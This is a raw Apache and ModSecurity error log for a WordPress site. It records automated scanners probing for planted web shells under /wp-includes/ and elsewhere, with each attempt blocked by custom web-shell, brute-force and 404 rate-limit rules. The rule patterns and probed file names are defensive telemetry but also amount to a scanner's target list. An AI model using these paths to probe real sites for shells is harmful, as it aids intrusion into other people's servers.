[Fri Feb 27 04:34:08.101324 2026] [:error] [pid 3974:tid 4058] [client 185.198.240.144:56855] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaCuQHp-fQtdOYjkuFvZUwAAAFU"]
[Fri Feb 27 04:34:09.408477 2026] [proxy_fcgi:error] [pid 42435:tid 42456] [client 185.198.240.136:60055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:09.729867 2026] [:error] [pid 42435:tid 42446] [client 185.198.240.136:60055] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaCuQR5hHLnaukp_y9977gAAAYY"]
[Fri Feb 27 04:34:10.334764 2026] [:error] [pid 42435:tid 42445] [client 185.198.240.152:21095] [client 185.198.240.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaCuQh5hHLnaukp_y9977wAAAYU"]
[Fri Feb 27 04:34:10.838547 2026] [proxy_fcgi:error] [pid 42658:tid 42678] [client 185.198.240.137:53977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:12.797202 2026] [:error] [pid 42658:tid 42679] [client 185.198.240.137:53977] [client 185.198.240.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaCuRIzcoYl3nRbu1jZHnQAAAhM"]
[Fri Feb 27 04:34:13.323402 2026] [:error] [pid 42563:tid 42574] [client 185.198.240.146:52613] [client 185.198.240.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaCuRXKL5BclZy73IRGuNQAAAcY"]
[Fri Feb 27 04:34:15.494585 2026] [:error] [pid 42658:tid 42660] [client 45.131.195.210:41531] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaCuR4zcoYl3nRbu1jZHsAAAAgA"]
[Fri Feb 27 04:34:16.101169 2026] [:error] [pid 42563:tid 42593] [client 185.198.240.143:45211] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aaCuSHKL5BclZy73IRGuWQAAAdc"]
[Fri Feb 27 04:34:16.639680 2026] [proxy_fcgi:error] [pid 42563:tid 42575] [client 185.198.240.141:21627] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:16.870748 2026] [:error] [pid 42563:tid 42590] [client 185.198.240.141:21627] [client 185.198.240.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.141, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaCuSHKL5BclZy73IRGuaAAAAdQ"]
[Fri Feb 27 04:34:17.368146 2026] [:error] [pid 42563:tid 42587] [client 185.198.240.141:21627] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaCuSXKL5BclZy73IRGudQAAAdE"]
[Fri Feb 27 04:34:19.270858 2026] [:error] [pid 42658:tid 42670] [client 209.87.169.176:54375] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaCuS4zcoYl3nRbu1jZHzQAAAgo"]
[Fri Feb 27 04:34:19.841582 2026] [proxy_fcgi:error] [pid 21329:tid 21405] [client 173.239.214.16:36835] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:20.465555 2026] [:error] [pid 21329:tid 21391] [client 173.239.214.16:36835] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaCuTJvQWnde-MjcQ1FUMQAAAUg"]
[Fri Feb 27 04:34:21.158265 2026] [:error] [pid 21329:tid 21397] [client 173.239.214.28:38055] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaCuTZvQWnde-MjcQ1FUNwAAAU4"]
[Fri Feb 27 04:34:21.720485 2026] [proxy_fcgi:error] [pid 42563:tid 42588] [client 173.239.214.8:40023] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:22.560692 2026] [:error] [pid 42563:tid 42581] [client 173.239.214.8:40023] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaCuTnKL5BclZy73IRGuqQAAAcs"]
[Fri Feb 27 04:34:23.937462 2026] [:error] [pid 42658:tid 42673] [client 173.239.214.14:24073] [client 173.239.214.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaCuT4zcoYl3nRbu1jZH5QAAAg0"]
[Fri Feb 27 04:34:24.466352 2026] [proxy_fcgi:error] [pid 4081:tid 4105] [client 185.198.240.153:47013] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:25.009752 2026] [proxy_fcgi:error] [pid 4081:tid 4086] [client 185.198.240.153:47013] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:25.548240 2026] [:error] [pid 4081:tid 4087] [client 185.198.240.153:47013] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaCuUQ55mnr35z8h7t3cBwAAAMQ"]
[Fri Feb 27 04:34:26.136423 2026] [:error] [pid 21329:tid 21393] [client 185.198.240.141:43347] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aaCuUpvQWnde-MjcQ1FUVgAAAUo"]
[Fri Feb 27 04:34:26.990115 2026] [:error] [pid 42658:tid 42679] [client 173.239.214.20:43455] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/count.php"] [unique_id "aaCuUozcoYl3nRbu1jZIAwAAAhM"]
[Fri Feb 27 04:34:27.579295 2026] [proxy_fcgi:error] [pid 42563:tid 42570] [client 173.239.214.18:22713] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:29.206998 2026] [:error] [pid 42563:tid 42585] [client 173.239.214.18:22713] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaCuVXKL5BclZy73IRGu3QAAAc8"]
[Fri Feb 27 04:34:30.421975 2026] [:error] [pid 4081:tid 4107] [client 173.239.214.28:48523] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "agraphics.com.au"] [uri "/images/stories/themes.php"] [unique_id "aaCuVg55mnr35z8h7t3cGAAAANg"]
[Fri Feb 27 04:34:30.698569 2026] [:error] [pid 4081:tid 4096] [client 173.239.214.28:48523] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aaCuVg55mnr35z8h7t3cGQAAAM0"]
[Fri Feb 27 04:34:31.766115 2026] [:error] [pid 5365:tid 5381] [client 173.239.214.15:32037] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aaCuV5YAa8J3tYxdG3wJ8gAAAQ4"]
[Fri Feb 27 04:34:32.296100 2026] [:error] [pid 42435:tid 42440] [client 185.198.240.139:33479] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aaCuWB5hHLnaukp_y998LQAAAYA"]
[Fri Feb 27 04:34:33.392804 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 173.239.214.12:59755] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:34.484202 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.12:59755] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aaCuWpYAa8J3tYxdG3wKIgAAARc"]
[Fri Feb 27 04:34:35.599212 2026] [:error] [pid 42563:tid 42579] [client 173.239.214.25:57261] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aaCuW3KL5BclZy73IRGu8gAAAck"]
[Fri Feb 27 04:34:36.680653 2026] [:error] [pid 42563:tid 42569] [client 173.239.214.15:58109] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aaCuXHKL5BclZy73IRGu-wAAAcE"]
[Fri Feb 27 04:34:37.178165 2026] [proxy_fcgi:error] [pid 3973:tid 3989] [client 185.198.240.136:36561] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:38.806387 2026] [:error] [pid 3973:tid 4006] [client 185.198.240.136:36561] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aaCuXoJZsftwqmUaaLP4bQAAABc"]
[Fri Feb 27 04:34:39.665648 2026] [:error] [pid 5365:tid 5387] [client 173.239.214.11:50803] [client 173.239.214.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aaCuX5YAa8J3tYxdG3wKZQAAARQ"]
[Fri Feb 27 04:34:40.222584 2026] [proxy_fcgi:error] [pid 42658:tid 42684] [client 185.198.240.155:63857] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:40.504183 2026] [:error] [pid 42658:tid 42661] [client 185.198.240.155:63857] [client 185.198.240.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aaCuYIzcoYl3nRbu1jZILAAAAgE"]
[Fri Feb 27 04:34:41.120507 2026] [:error] [pid 42658:tid 42674] [client 173.239.214.10:23719] [client 173.239.214.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aaCuYYzcoYl3nRbu1jZIMAAAAg4"]
[Fri Feb 27 04:34:42.208868 2026] [:error] [pid 42563:tid 42586] [client 185.198.240.142:53891] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aaCuYnKL5BclZy73IRGvLQAAAdA"]
[Fri Feb 27 04:34:43.576488 2026] [proxy_fcgi:error] [pid 3974:tid 4055] [client 173.239.214.12:51057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:34:43.877981 2026] [:error] [pid 3974:tid 4038] [client 173.239.214.12:51057] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aaCuY3p-fQtdOYjkuFvZiwAAAEI"]
[Fri Feb 27 04:34:44.381274 2026] [:error] [pid 42658:tid 42677] [client 185.198.240.152:31689] [client 185.198.240.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aaCuZIzcoYl3nRbu1jZISgAAAhE"]
[Fri Feb 27 04:35:08.556426 2026] [:error] [pid 4081:tid 4106] [client 173.239.214.18:45087] [client 173.239.214.18] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "85.215.241.149_56f301fcea9497f3da9c67483c04539f88ae31f7"): Internal error (specific information not available) [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaCueA55mnr35z8h7t3cagAAANc"]
[Fri Feb 27 04:37:48.188722 2026] [:error] [pid 5365:tid 5391] [client 103.253.27.75:63638] [client 103.253.27.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.75, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaCvHJYAa8J3tYxdG3wQYAAAARg"]
[Fri Feb 27 04:37:48.199151 2026] [proxy_fcgi:error] [pid 5365:tid 5391] [client 103.253.27.75:63638] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:37:50.670276 2026] [:error] [pid 5365:tid 5380] [client 103.253.27.75:63638] [client 103.253.27.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaCvHpYAa8J3tYxdG3wQjgAAAQ0"]
[Fri Feb 27 04:37:50.855097 2026] [:error] [pid 5365:tid 5390] [client 103.253.27.75:65475] [client 103.253.27.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaCvHpYAa8J3tYxdG3wQkgAAARc"]
[Fri Feb 27 04:37:51.029963 2026] [:error] [pid 5365:tid 5376] [client 103.253.27.75:49191] [client 103.253.27.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaCvH5YAa8J3tYxdG3wQlAAAAQk"]
[Fri Feb 27 04:37:51.203955 2026] [:error] [pid 5365:tid 5374] [client 103.253.27.75:49314] [client 103.253.27.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaCvH5YAa8J3tYxdG3wQmAAAAQc"]
[Fri Feb 27 06:55:35.137890 2026] [proxy_fcgi:error] [pid 5365:tid 5382] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:35.350833 2026] [proxy_fcgi:error] [pid 5365:tid 5390] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:35.790001 2026] [proxy_fcgi:error] [pid 5365:tid 5370] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:36.000944 2026] [proxy_fcgi:error] [pid 5365:tid 5388] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:36.421618 2026] [proxy_fcgi:error] [pid 5365:tid 5386] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:36.635482 2026] [proxy_fcgi:error] [pid 5365:tid 5380] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:36.855613 2026] [proxy_fcgi:error] [pid 5365:tid 5367] [client 20.104.78.143:16934] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 06:55:37.274597 2026] [:error] [pid 5365:tid 5385] [client 20.104.78.143:16934] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDPaZYAa8J3tYxdG3xtFQAAARI"]
[Fri Feb 27 06:55:38.182718 2026] [:error] [pid 5365:tid 5377] [client 20.104.78.143:16921] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDPapYAa8J3tYxdG3xtGQAAAQo"]
[Fri Feb 27 06:55:39.035171 2026] [:error] [pid 5365:tid 5388] [client 20.104.78.143:16915] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDPa5YAa8J3tYxdG3xtHQAAARU"]
[Fri Feb 27 06:55:39.975877 2026] [:error] [pid 5365:tid 5373] [client 20.104.78.143:16927] [client 20.104.78.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaDPa5YAa8J3tYxdG3xtIgAAAQY"]
[Fri Feb 27 07:23:13.669938 2026] [proxy_fcgi:error] [pid 5365:tid 5372] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:13.880041 2026] [proxy_fcgi:error] [pid 5365:tid 5373] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:14.090387 2026] [proxy_fcgi:error] [pid 5365:tid 5386] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:14.299689 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:14.526974 2026] [proxy_fcgi:error] [pid 5365:tid 5382] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:14.844284 2026] [proxy_fcgi:error] [pid 5365:tid 5375] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:15.052267 2026] [proxy_fcgi:error] [pid 5365:tid 5376] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:15.273667 2026] [proxy_fcgi:error] [pid 5365:tid 5389] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:15.482116 2026] [proxy_fcgi:error] [pid 5365:tid 5371] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:15.689874 2026] [proxy_fcgi:error] [pid 5365:tid 5381] [client 4.204.200.32:59154] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:23:15.906640 2026] [:error] [pid 5365:tid 5382] [client 4.204.200.32:59154] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123.php"] [unique_id "aaDV45YAa8J3tYxdG3yEggAAAQ8"]
[Fri Feb 27 07:23:16.505490 2026] [:error] [pid 5365:tid 5375] [client 4.204.200.32:59201] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123.php"] [unique_id "aaDV5JYAa8J3tYxdG3yEiAAAAQg"]
